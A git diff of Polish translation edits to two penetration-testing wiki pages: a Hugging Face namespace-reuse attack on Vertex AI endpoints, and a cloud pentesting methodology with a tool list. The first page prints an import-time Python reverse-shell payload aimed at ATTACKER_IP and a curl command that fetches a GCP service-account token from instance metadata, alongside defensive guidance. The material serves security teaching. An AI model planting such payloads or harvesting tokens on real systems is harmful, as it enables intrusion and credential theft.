HF: -- Efekty uboczne w __init__.py repo -- Własne pliki modeling_*.py lub kod przetwarzający wskazywany przez config/auto_map -- Ścieżki kodu wymagające trust_remote_code=True w Transformers pipelines +3) Opublikuj złośliwe repo. Dołącz kod, który wykona się przy ładowaniu modelu. Przykłady kodu, które często wykonują się podczas ładowania modelu na HF: +- Efekty uboczne w pliku __init__.py repozytorium +- Niestandardowe pliki modeling_*.py lub kod przetwarzający odwoływany przez config/auto_map +- Ścieżki kodu wymagające trust_remote_code=True w pipelines Transformers -4) Wdrożenie Vertex AI korzystające z legacy Author/ModelName teraz pobiera repo atakującego. Loader wykonuje się wewnątrz kontenera endpointu Vertex AI. +4) Deployment Vertex AI korzystający ze starego Author/ModelName teraz pobiera repo atakującego. Loader wykonuje się wewnątrz kontenera endpointu Vertex AI. -5) Payload ustanawia dostęp ze środowiska endpointu (RCE) z uprawnieniami endpointu. +5) payload uzyskuje dostęp z środowiska endpointu (RCE) z uprawnieniami endpointu. -Przykładowy fragment payloadu wykonywany podczas importu (tylko w celach demonstracyjnych): +Przykładowy fragment payload, wykonywany przy imporcie (tylko do demonstracji): ```python # Place in __init__.py or a module imported by the model loader import os, socket, subprocess, threading @@ -62,42 +62,42 @@ subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... if os.environ.get("VTX_AI","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` -Uwagi -- Rzeczywiste implementacje loaderów różnią się. Wiele integracji Vertex AI HF klonuje i importuje moduły z repozytorium wskazane w konfiguracji modelu (np. auto_map), co może prowadzić do wykonania kodu. W niektórych przypadkach wymagane jest trust_remote_code=True. -- Endpoint zwykle działa w dedykowanym kontenerze o ograniczonym zakresie, ale stanowi ważny początkowy punkt dostępu do danych i ruchu lateralnego w GCP. +Notatki +- Rzeczywiste loadery różnią się. Wiele integracji Vertex AI HF klonuje i importuje moduły z repo wskazywane w konfiguracji modelu (np. auto_map), co może wywołać wykonanie kodu. W niektórych przypadkach wymagane jest trust_remote_code=True. +- Endpoint zazwyczaj działa w dedykowanym containerze o ograniczonym zasięgu, ale stanowi ważny initial foothold dla dostępu do danych i lateral movement w GCP. ## Wskazówki po eksploatacji (Vertex AI Endpoint) -Gdy kod działa wewnątrz kontenera endpointu, rozważ: -- Wyliczanie zmiennych środowiskowych i metadanych w poszukiwaniu poświadczeń/tokenów -- Dostęp do dołączonego storage'u lub zamontowanych artefaktów modelu -- Interakcja z Google APIs za pomocą tożsamości service account (Document AI, Storage, Pub/Sub, etc.) -- Utrwalanie w artefakcie modelu, jeśli platforma ponownie pobierze repo +Gdy kod działa wewnątrz endpoint container, rozważ: +- Przeprowadzenie enumeracji zmiennych środowiskowych i metadata w poszukiwaniu poświadczeń/tokenów +- Dostęp do dołączonego storage lub zamontowanych model artifacts +- Interakcję z Google APIs poprzez service account identity (Document AI, Storage, Pub/Sub, etc.) +- Utrzymanie persistence w model artifact, jeśli platforma ponownie pobiera repo -Wylicz metadane instancji, jeśli dostępne (zależne od kontenera): +Wylicz instance metadata, jeśli są dostępne (zależne od containera): ```bash curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ``` -## Wytyczne obronne dla użytkowników Vertex AI +## Wskazówki obronne dla użytkowników Vertex AI -- Przypinaj modele do commita w HF loaders, aby zapobiec cichej podmianie: +- Przypinaj modele do commitów w HF loaders, aby zapobiec cichej podmianie: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Replikuj zweryfikowane modele HF do zaufanego wewnętrznego magazynu artefaktów/rejestru i wdrażaj stamtąd. -- Nieprzerwanie skanuj repozytoria kodu i konfiguracje w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj do nowych przestrzeni nazw lub przypnij do commita. +- Replikuj zweryfikowane modele HF do zaufanego wewnętrznego repozytorium/artifact registry i wdrażaj je stamtąd. +- Ciągle skanuj repozytoria kodu i konfiguracje w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj do nowych namespace’ów lub przypnij do konkretnego commita. - W Model Garden weryfikuj pochodzenie modelu i istnienie autora przed wdrożeniem. ## Heurystyki rozpoznawcze (HTTP) -- Usunięty autor: strona autora 404; ścieżka starego modelu 404 aż do przejęcia. -- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość atakującego. +- Usunięty author: author page 404; legacy model path 404 aż do takeover. +- Przeniesiony model: legacy path 307 do nowego autora, gdy stary autor nadal istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, legacy path serwuje zawartość atakującego. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` -## Odniesienia krzyżowe +## Odnośniki krzyżowe - Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw: @@ -105,7 +105,7 @@ curl -I https://huggingface.co// | egrep "^HTTP|^location" ../../pentesting-cloud-methodology.md {{#endref}} -## Źródła +## Referencje - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 1e53a2bd5..88e7f1f01 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,4 +1,4 @@ -# Pentesting Cloud Methodology +# Metodologia Pentesting Cloud {{#include ../banners/hacktricks-training.md}} @@ -6,39 +6,39 @@ ## Podstawowa metodologia -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Każda chmura ma swoje specyfiki, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testów środowiska chmurowego: -- **Kontrole benchmarkowe** -- To pomoże ci **zrozumieć rozmiar** środowiska i **używane usługi** -- Pozwoli też znaleźć kilka **szybkich błędów konfiguracji**, gdyż większość tych testów można wykonać za pomocą **narzędzi automatycznych** +- **Testy benchmarkowe** +- To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi** +- Pozwoli także znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów możesz wykonać przy pomocy **narzędzi automatycznych** - **Enumeracja usług** -- Prawdopodobnie nie znajdziesz tu wielu dodatkowych błędów konfiguracji, jeśli prawidłowo wykonałeś testy benchmarkowe, ale możesz znaleźć takie, na które nie zwrócono uwagi podczas testu benchmarkowego. -- To pozwoli ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym +- Prawdopodobnie nie znajdziesz tu znacznie więcej błędów konfiguracyjnych jeśli poprawnie wykonałeś testy benchmarkowe, ale możesz znaleźć takie, które nie były brane pod uwagę w testach benchmarkowych. +- To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym - To bardzo pomoże w kolejnych krokach - **Sprawdź zasoby wystawione** -- Można to zrobić w poprzedniej sekcji — musisz **odnaleźć wszystko, co potencjalnie jest wystawione** do Internetu i jak można to uzyskać. -- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę** jak instancje z stronami WWW lub innymi otwartymi portami, a także inne **zarządzane usługi chmurowe, które mogą być skonfigurowane** do wystawienia (such as DBs or buckets) -- Następnie powinieneś sprawdzić **czy zasób może być wystawiony, czy nie** (informacje poufne? podatności? błędy konfiguracji w wystawionej usłudze?) +- Można to zrobić podczas poprzedniej sekcji, musisz **odnaleźć wszystko, co potencjalnie jest wystawione** do Internetu w jakiś sposób i jak można to uzyskać. +- Mam tu na myśli **ręcznie wystawioną infrastrukturę** jak instancje z stronami WWW lub innymi wystawionymi portami, oraz także **zarządzane usługi chmurowe, które mogą być skonfigurowane** jako wystawione (np. DBs lub buckets) +- Następnie powinieneś sprawdzić **czy dany zasób może ujawniać informacje czy nie** (informacje poufne? podatności? błędy konfiguracyjne w wystawionej usłudze?) - **Sprawdź uprawnienia** -- Tutaj powinieneś **odnaleźć wszystkie uprawnienia każdej roli/użytkownika** w chmurze i jak są używane -- Zbyt wiele kont z wysokimi uprawnieniami (kontrolujących wszystko)? Wygenerowane klucze nieużywane?... Większość z tych kontroli powinna być już wykonana w testach benchmarkowych -- Jeżeli klient używa OpenID, SAML lub innej **federacji**, może być konieczne poprosić ich o dodatkowe **informacje** dotyczące **jak przypisywana jest każda rola** (to nie to samo, gdy rola admina przypisana jest 1 użytkownikowi lub 100) -- Nie wystarczy **znaleźć**, którzy użytkownicy mają uprawnienia **admin** "*:*". Jest wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**. -- Co więcej, istnieją **potencjalne ścieżki privesc** do wykorzystania przez nadużycie uprawnień. Wszystkie te rzeczy należy wziąć pod uwagę i zgłosić **jak najwięcej ścieżek privesc**. +- Tutaj powinieneś **ustalić wszystkie uprawnienia każdej roli/użytkownika** w chmurze i sposób ich użycia +- Za dużo **kont o wysokich uprawnieniach** (kontrolujących wszystko)? Wygenerowane klucze nieużywane?... Większość tych kontroli powinna być już wykonana podczas testów benchmarkowych +- Jeśli klient używa OpenID lub SAML lub innej **federacji** możesz potrzebować poprosić ich o dodatkowe **informacje** o **tym, jak przypisywana jest każda rola** (to nie to samo, gdy rola admin jest przypisana do 1 użytkownika lub do 100) +- **Nie wystarczy ustalić**, którzy użytkownicy mają uprawnienia **admin** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**. +- Co więcej, istnieją **potencjalne privesc** ścieżki do wykorzystania przez nadużycie uprawnień. Wszystkie te rzeczy powinny być uwzględnione i należy zgłosić **jak najwięcej privesc ścieżek**. - **Sprawdź integracje** -- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w obrębie środowiska chmurowego. -- W przypadku **integracji chmury, którą audytujesz**, z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużycia) tej integracji** i zapytać **jak wrażliwa** jest wykonywana akcja.\ -Na przykład, kto może zapisywać do AWS bucketu, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest ta operacja w GCP przy przetwarzaniu tych danych). -- W przypadku **integracji wewnątrz audytowanej chmury** z platform zewnętrznych, powinieneś zapytać **kto z zewnątrz ma dostęp do (nadużycia) tej integracji** i sprawdzić, jak te dane są wykorzystywane.\ -Na przykład, jeśli usługa używa obrazu Docker hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz uprawnienia uzyska ten obraz po uruchomieniu wewnątrz chmury AWS. +- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane wewnątrz środowiska. +- Dla **integracji chmury, którą audytujesz** z innymi platformami powinieneś powiadomić **kto ma dostęp do (nadużycia) tej integracji** i zapytać **jak wrażliwa** jest akcja, która jest wykonywana.\ +Na przykład, kto może zapisać do AWS bucket, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest ta akcja w GCP traktująca te dane). +- Dla **integracji wewnątrz chmury, którą audytujesz** pochodzących z zewnętrznych platform, powinieneś zapytać **kto zewnętrznie ma dostęp do (nadużycia) tej integracji** i sprawdzić jak te dane są wykorzystywane.\ +Na przykład, jeśli usługa używa obrazu Docker hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz dostępy uzyska ten obraz po uruchomieniu wewnątrz AWS cloud. -## Narzędzia multi-cloud +## Narzędzia Multi-Cloud -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Istnieje kilka narzędzi, które można użyć do testowania różnych środowisk chmurowych. Kroki instalacji i linki zostaną wskazane w tej sekcji. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Narzędzie do **identyfikowania złych konfiguracji i privesc ścieżek w chmurach i pomiędzy chmurami/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -170,7 +170,7 @@ steampipe check all Sprawdź wszystkie projekty -Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc` wskazujący wszystkie projekty do przetestowania. Możesz po prostu skorzystać ze wskazówek w poniższym skrypcie +Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc`, wskazujący wszystkie projekty do przetestowania. Możesz po prostu postępować zgodnie ze wskazówkami z poniższego skryptu ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Aby sprawdzić kod Terraform dla AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Więcej wtyczek Steampipe dla AWS: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Wymaga python2.7 i wygląda na nieutrzymywane. +Wymaga python2.7 i wygląda na porzucone. ### Nessus -Nessus ma skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** wymagane są dodatkowe konfiguracje, aby uzyskać **Client Id**. +Nessus posiada skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** potrzebne są dodatkowe konfiguracje, aby uzyskać **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (Hostnames, IP Addresses) od dostawców chmurowych. +Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury i relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j. +Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, mechanizmów zabezpieczeń i innych, do intuicyjnego widoku grafowego wspieranego przez bazę danych Neo4j. +Starbase zbiera zasoby i relacje z usług i systemów, w tym z infrastruktury chmurowej, aplikacji SaaS, mechanizmów kontroli bezpieczeństwa i innych, i prezentuje je w intuicyjnym widoku grafu opartym na bazie danych Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Odnajdź najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell. +Odnajduje najbardziej uprzywilejowanych użytkowników w zeskanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,13 +372,13 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Narzędzie do znajdowania infrastruktury firmy (target), plików i aplikacji u największych dostawców chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Narzędzie do znajdowania infrastruktury firmy (cel), plików i aplikacji na największych dostawcach chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox to narzędzie do znajdowania exploitable attack paths w cloud infrastructure (aktualnie obsługiwane tylko AWS & Azure, GCP wkrótce). -- Jest enumeration tool, które ma uzupełniać manualny pentesting. -- Nie tworzy ani nie modyfikuje żadnych danych w obrębie środowiska chmurowego. +- CloudFox to narzędzie do znajdowania eksploatowalnych ścieżek ataku w infrastrukturze chmurowej (obecnie obsługiwane tylko AWS & Azure, wkrótce GCP). +- Jest to narzędzie do enumeracji, które ma na celu uzupełnienie manualnego pentestingu. +- Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym. ### More lists of cloud security tools @@ -412,11 +412,11 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) tworzy „attack graph” zasobów w subskrypcji Azure. Umożliwia red teams i pentesters wizualizację attack surface i możliwości pivot w ramach tenant, a także przyspiesza obrońców, pozwalając szybko się zorientować i priorytetyzować prace związane z incident response. +[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy “attack graph” zasobów w subskrypcji Azure. Umożliwia red teams i pentesters wizualizację powierzchni ataku i możliwości pivotowania w obrębie tenant, oraz znacznie przyspiesza pracę twoich obrońców, pozwalając im szybko się zorientować i priorytetyzować działania związane z reakcją na incydenty. ### Office365 -Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale pamiętaj, że Global Admin Reader jest trochę ograniczony). Jednak te ograniczenia pojawiają się w niektórych PS modules i można je obejść, uzyskując dostęp do funkcji **via the web application**. +Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (uwaga: Global Admin Reader jest trochę ograniczony). Jednak te ograniczenia pojawiają się w niektórych PS modules i można je obejść, uzyskując dostęp do funkcji **poprzez aplikację webową**. {{#include ../banners/hacktricks-training.md}}